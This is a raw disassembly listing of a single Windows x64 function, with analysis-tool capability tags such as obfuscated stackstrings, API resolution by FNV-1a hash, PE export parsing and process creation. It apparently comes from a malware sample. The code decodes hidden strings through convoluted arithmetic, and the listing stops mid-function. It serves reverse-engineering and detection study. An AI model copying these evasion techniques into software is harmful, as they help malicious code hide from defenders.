Function at 0x1401048d0
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Enumerate gui resources
Enumerate process modules
Get number of processors
Hash data using fnv
Parse pe header
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x34c8]
mov eax, 0x35a0
call fcn.140210030
sub rsp, rax
mov rax, qword [0x1404f42c0]
xor rax, rsp
mov qword [rbp + 0x3490], rax
mov byte [rbp + 0x670], 0xe3
mov byte [rbp + 0x671], 0xeb
mov byte [rbp + 0x672], Ordinal_211
mov byte [rbp + 0x673], Ordinal_217
mov byte [rbp + 0x674], 0xb7
mov byte [rbp + 0x675], Ordinal_200
mov byte [rbp + 0x676], 0x48
mov byte [rbp + 0x677], 0x48
mov byte [rbp + 0x678], Ordinal_50
mov byte [rbp + 0x679], Ordinal_27
mov r12d, 0x3f
mov byte [rbp + 0x67a], r12b
mov byte [rbp + 0x67b], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x67c], Ordinal_50
mov byte [rbp + 0x67d], Ordinal_79
mov byte [rbp + 0x67e], Ordinal_79
mov byte [rbp + 0x67f], 0x43
mov byte [rbp + 0x680], Ordinal_60
mov byte [rbp + 0x681], Ordinal_32
mov byte [rbp + 0x682], Ordinal_79
mov byte [rbp + 0x683], Ordinal_79
mov byte [rbp + 0x684], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x685], Ordinal_60
mov byte [rbp + 0x686], 0x5a
mov byte [rbp + 0x687], Ordinal_41
mov byte [rbp + 0x688], reloc.WLDAP32.dll_Ordinal_32
lea r14d, [r12 - 0x37]
mov byte [rbp + 0x689], r14b
mov byte [rbp + 0x68a], 0x5e
mov byte [rbp + 0x68b], Ordinal_46
mov byte [rbp + 0x68c], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x68d], 0x5f
mov byte [rbp + 0x68e], Ordinal_50
mov byte [rbp + 0x68f], Ordinal_32
mov byte [rbp + 0x690], Ordinal_35
mov byte [rbp + 0x691], Ordinal_41
mov byte [rbp + 0x692], 0x58
mov byte [rbp + 0x693], 0xcb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x694], xmm0
mov qword [rbp + 0x6a4], rax
mov byte [rbp + 0x6ac], al
movabs rsi, 0x27bf095894239efa
lea r13d, [r12 - 0x21]
or r15, 0xffffffffffffffff
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x3d
jae 0x140105495
movzx r8d, byte [rbp + r9 + 0x670]
mov r11d, r8d
cmp rbx, r9
ja 0x14010548c
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140104a9a
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r11
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r11
add dil, 0x2a
jmp 0x140104ac7
je 0x140105403
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401053b1
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14010537d
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140105353
cmp r10, r9
ja 0x140105483
lea rax, [r10 + 0x40]
cmp rbx, rax
jae 0x140104afd
movabs rdx, 0x42abc44426ec0a82
add rdx, r9
mov al, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
jmp 0x140104b3e
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140105308
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401052e4
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401052ba
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401052a6
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14010524e
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140104fcc
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x140104fa5
lea rax, [r10 + 9]
cmp rbx, rax
je 0x140104f81
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x140104f60
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x140104f3c
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140104f18
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x140104ef4
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x140104b4b
lea rbx, [r10 + 0x61]
lea r10, [rbx + 0x40]
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x14010545e
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x14010543a
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x140104cb0
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x140104c8d
lea rax, [r10 + 0x10]
cmp rbx, rax
jb 0x140104e57
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x140104e07
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x140104dd8
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x140104b4b
lea rbx, [r10 + 0x2a]
lea r10, [rbx + 9]
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x140104db4
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x140104d8d
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140104d69
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140104d42
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x140104d1f
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140104cfa
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x140104cd7
lea rbx, [r10 + 0x1000]
lea r10, [rbx + 3]
jmp 0x140104b4b
movabs rcx, 0x94ba13186f5751be
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x140104b3e
movabs rdx, 0xf5bdedb61ec8d5d6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
jmp 0x140104a6e
movabs rcx, 0x155e222137605410
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x140105328
movabs rdx, 0xc5e00f700f19161c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, r13d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010534e
movabs rcx, 0x26e3ea0dbe8a9a34
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
jmp 0x1401051f2
movabs rdx, 0xd765d75c96435c40
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401052dc
movabs rcx, 0x87e7c4ab6dfc1e4c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x14
jmp 0x14010539f
movabs rdx, 0xe8eb9f491d6da264
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401053cf
movabs rcx, 0x996d8c97f5266470
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x140105423
movabs rdx, 0xd2b25ddd1074498e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r9 + 0x670], dil
jmp 0x140105432
movabs rdx, 0x83344b2be82d0b9a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x36
add dil, dl
cmp r10, 0x400
jb 0x140104dfa
movabs rcx, 0xd61db94b0631579c
add rcx, r9
mov al, cl
and al, r8b
mov edx, r13d
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140105328
movabs rdx, 0xe43825c9979e8fb2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
lea rax, [r10 + rbx]
cmp rax, 4
je 0x140105222
lea rax, [r10 + 0x28]
cmp rbx, rax
jbe 0x1401050d3
movabs rdx, 0x78853a1b4c7ce192
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x5a
jae 0x1401051ca
lea rax, [r10 + 8]
cmp rbx, rax
jbe 0x140105133
movabs rdx, 0xbb30fe5f7368ec14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140104e28
movabs rcx, 0x90069998e9883f0c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x54
jmp 0x140105423
movabs rdx, 0xf10a743698f9c324
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14010526c
movabs rcx, 0xa18c618570b28530
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x50
jmp 0x14010539f
movabs rdx, 0x2903c2320240948
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1401051ec
movabs rcx, 0xb3122971f7dccb54
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x4c
jmp 0x140105375
movabs rdx, 0x1416040fa74e4f6c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140105328
lea rax, [r10 + 0x2a]
cmp rbx, rax
jae 0x140104ff3
lea rdx, [r9 + rsi]
mov al, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140104e79
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010501f
movabs rcx, 0x855788884dd81504
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x140105423
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010504b
movabs rcx, 0x2453adea9e6690ec
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x74
jmp 0x14010526f
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140105077
movabs rcx, 0x12cde5fe173c4ac8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x1401051f2
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401050a3
movabs rcx, 0x624bf8af3f8388bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x140105375
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140104e79
movabs rcx, 0x1481e11901204a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x140105328
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140105103
movabs rdx, 0xc8034ccc74c41f86
mov ecx, Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140105328
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140104eb6
movabs rcx, 0x66ff722ec5529b6e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 2
jmp 0x140105375
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010515f
movabs rcx, 0xaaf11109bb02a08
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x140105423
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010517c
movabs rdx, 0x5a2d23c1c3f767fc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140104d9c
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401051a9
movabs rcx, 0xe7a381378d5b9dc0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x40
jmp 0x140105375
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140104e28
movabs rdx, 0x869fa699ddea19a8
mov ecx, 0x34
jmp 0x1401050eb
movabs rdx, 0x259bcbfc2e789590
add rdx, r9
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0x670]
add dil, dl
add dil, r8b
movabs rcx, 0x4d5ad554c29c348a
add rcx, r9
mov al, cl
and al, r8b
mov edx, Ordinal_32
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
add dl, dil
mov byte [rbp + r9 + 0x670], dl
jmp 0x1401052dc
movabs rdx, 0x7519dead56bfd384
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x670]
add dil, dl
add dil, r8b
jmp 0x14010526f
movabs rdx, 0x6f1e471c40debc2e
add rdx, r9
mov al, r11b
and al, dl
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x42
add dil, dl
movabs rdx, 0x9cd8e805eae3727e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x72
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x670], al
inc r10
add rax, r10
sub r9, rax
jmp 0x1401053cf
movabs rdx, 0x1fa0346b18977e3a
mov ecx, gethostname
jmp 0x14010538c
movabs rdx, 0xd02221b9f0504046
add rdx, r9
mov al, r11b
and al, dl
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add rbx, r10
jmp 0x14010539f
movabs rdx, 0x3125fc579fc1c45e
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
jmp 0x140105375
movabs rcx, 0x9229d6f54f334876
add rcx, r9
and r11b, cl
add r11b, r11b
mov dil, r8b
sub dil, r11b
sub dil, 0x3a
add dil, cl
movabs rcx, 0xfddcc2a39a54f696
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x1a
add r8b, cl
mov byte [rbp + r9 + 0x670], r8b
inc r10
jmp 0x140105375
movabs rdx, 0x54318c30ae1650a6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r9
jmp 0x140105432
movabs rdx, 0x65b7541d354096ca
mov ecx, 0x3d
add rdx, r9
mov al, r11b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, dil
mov rcx, r15
sub rcx, rax
add r9, rcx
jmp 0x140105432
movabs rcx, 0xc6bb2ebae4b21ae2
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2e
movabs rcx, 0xc497f15e7f071178
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x48
add r8b, cl
mov byte [rbp + r9 + 0x670], r8b
inc rbx
mov rax, r15
sub rax, rbx
add r9, rax
jmp 0x140105423
movabs rdx, 0x773d1c09bc6adcee
add rdx, r9
mov al, r11b
and al, dl
mov ecx, r12d
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r9 + 0x670]
add rax, r10
add r9, rax
inc r9
jmp 0x140104a58
movabs rcx, 0xa63fdb04f68197e2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2e
jmp 0x140104a55
movabs rdx, 0x56c1c853ce3a59ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, r12d
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140104a45
lea rdx, [rbp + 0x16ed668]
jmp 0x14010549c
lea rdx, [rbp + 0xd27562]
jmp 0x14010549c
lea rdx, [rbp + 0x670]
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
and qword [rbp + 0x50], 0
and qword [rbp + 0x58], 0
mov r8, r15
inc r8
cmp byte [rdx + r8], 0
jne 0x1401054b0
lea rcx, [rbp + 0x40]
call fcn.14007aa90
lea rax, [rbp + 0x40]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x60]
call fcn.1400ca288
nop
lea rcx, [rbp + 0x60]
call fcn.1401aa90c
mov bl, al
lea rcx, [rbp + 0x60]
call fcn.140091ed0
movabs rsi, 0x650c9aba69d21100
movabs r14, 0x3b16ce24793c580
movabs r12, 0x5da9c0f5daaa8600
movabs r15, 0xe3cab7caa09e1080
mov r13d, 0xcded1a85
test bl, bl
je 0x1401084ea
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xe40]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x80], 0x45
mov byte [rbp + 0x81], 0x75
mov byte [rbp + 0x82], WSASetLastError
mov byte [rbp + 0x83], 0x66
mov byte [rbp + 0x84], 0x76
mov byte [rbp + 0x85], 0x64
mov byte [rbp + 0x86], Ordinal_46
mov byte [rbp + 0x87], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x88], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x89], 0x7d
mov byte [rbp + 0x8a], 0xa
xor eax, eax
mov dword [rbp + 0x8b], eax
mov word [rbp + 0x8f], ax
mov byte [rbp + 0x91], al
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x12
jae 0x140105fda
movzx r8d, byte [rbp + r9 + 0x80]
mov r11, r8
cmp rdi, r9
ja 0x140105fd1
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401055f5
lea rcx, [r9 + r14]
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
jmp 0x14010588e
je 0x140105f58
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140105ed4
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140105e78
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140105e2c
cmp r10, r9
ja 0x140105fc8
lea rax, [r10 + 0x80]
cmp rdi, rax
jae 0x140105646
movabs rcx, 0x4d8dee8fdf1f3380
jmp 0x14010585c
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140105e20
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140105e00
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140105dde
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140105dbb
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140105da1
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140105d92
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x140105a99
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x140105a8a
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x140105a6a
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x140105a4a
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140105a3b
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x140105a2c
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140105a0c
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x1401059fd
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x1401059dd
lea rax, [r10 + 0x10]
cmp rdi, rax
je 0x1401059ce
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1401056a1
lea rdi, [r10 + 0x61]
lea r10, [rdi + 9]
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140105faf
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x140105f8d
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x140105896
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x140105874
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140105852
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x1401059bc
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401059ad
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14010598c
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x140105961
lea rdi, [r10 + 8]
lea r10, [rdi + 0x400]
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x140105942
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x140105933
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140105915
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x140105906
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x1401058f7
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x1401058d9
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x1401058d0
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x1401058c7
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401058b8
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x1401056a1
lea rdi, [r10 + 0xa]
lea r10, [rdi + 0x61]
jmp 0x1401056a1
movabs rcx, 0x1561edcdd3c3c80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140105694
movabs rcx, 0xf9f345184e14b180
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140105622
movabs rcx, 0xf2906b53beed2680
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x1401055c7
movabs rdx, 0x6c6f747ef8f99c00
jmp 0x140105c26
lea rcx, [r9 + rsi]
jmp 0x140105a77
lea rcx, [r9 + r12]
jmp 0x140105a57
movabs rdx, 0x5646e7314b82fb00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
jmp 0x140105e94
movabs rcx, 0x4ee40d6cbc5b7000
jmp 0x140105baa
movabs rcx, 0x478133a82d33e500
jmp 0x140105a16
movabs rdx, 0x401e59e39e0c5a00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
jmp 0x140105ef3
movabs rdx, 0x38bb801f0ee4cf00
jmp 0x1401059e7
movabs rcx, 0x3158a65a7fbd4400
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140105f76
movabs rcx, 0x1ee185ef19da6880
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
mov byte [rbp + r9 + 0x80], bl
jmp 0x140105f85
movabs rdx, 0x177eac2a8ab2dd80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x80
jmp 0x140105b27
movabs rdx, 0x101bd265fb8b5280
jmp 0x140105ae0
movabs rdx, 0x8b8f8a16c63c780
add rdx, r9
jmp 0x140105aaa
movabs rcx, 0xd153975f3abb3500
jmp 0x140105b69
movabs rdx, 0xc9f0bd9aab93aa00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x140105f27
movabs rdx, 0xc28de3d61c6c1f00
jmp 0x14010591f
movabs rcx, 0xbb2b0a118d449400
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140105ec2
movabs rcx, 0xb3c8304cfe1d0900
jmp 0x140105baa
movabs rdx, 0xac6556886ef57e00
jmp 0x1401058e3
movabs rcx, 0xa5027cc3dfcdf300
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140105e70
movabs rcx, 0x9d9fa2ff50a66800
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140105e6d
movabs rdx, 0x963cc93ac17edd00
jmp 0x140105c26
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x140105b56
lea rdx, [r9 + r14]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x80
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0xa
je 0x140105d6c
lea rax, [r10 + 0x61]
cmp rdi, rax
jbe 0x140105c3c
movabs rdx, 0xe146f1eb0e360f80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x80
add bl, dl
cmp rdi, 0x1000
jae 0x140105d46
lea rax, [r10 + 8]
cmp rdi, rax
jbe 0x140105cd1
movabs rdx, 0x2ed4e07aed554300
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
cmp r10, 0x7a
jb 0x14010597f
movabs rdx, 0x78b1622884e0b100
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140105e49
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140105b7f
movabs rcx, 0x9b1bdd1fbe3e6700
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140105f76
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140105b97
movabs rdx, 0xa9e190a8dc8d7d00
jmp 0x14010591f
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140105bbf
movabs rcx, 0xb8a74431fadc9300
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140105ebf
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140105be7
movabs rcx, 0xc00a1df68a041e00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140105e96
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140105c0f
movabs rcx, 0xc76cf7bb192ba900
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140105e70
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140105abb
movabs rdx, 0xd632ab44377abf00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x140105e49
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140105c63
movabs rdx, 0xe8a9cbaf9d5d9a80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x80
jmp 0x140105c35
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140105c7b
movabs rcx, 0xf76f7f38bbacb080
jmp 0x140105e0a
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140105ca4
movabs rcx, 0x63532c1d9fbc680
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140105df8
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140105af4
movabs rcx, 0x23c099d41699f280
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140105f73
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140105ce9
movabs rcx, 0x3637ba3f7c7cce00
jmp 0x140105b69
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140105d01
movabs rdx, 0x3d9a94040ba45900
jmp 0x1401059e7
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140105d19
movabs rcx, 0x4c60478d29f36f00
jmp 0x140105a16
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140105b29
movabs rcx, 0x53c32151b91afa00
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140105ebf
movabs rdx, 0x80143bed14083c00
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x80]
sub bl, al
add bl, r8b
jmp 0x140105e94
movabs rdx, 0x877715b1a32fc700
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0x80]
jmp 0x140105ef3
movabs rcx, 0x90079678e7831680
jmp 0x140105cbb
movabs rdx, 0x8141e2efc9340080
add rdx, r9
mov al, r8b
and al, dl
mov bl, r8b
jmp 0x140105eec
movabs rcx, 0x79df092b3a0c7580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x140105ec2
movabs rcx, 0x727c2f66aae4ea80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
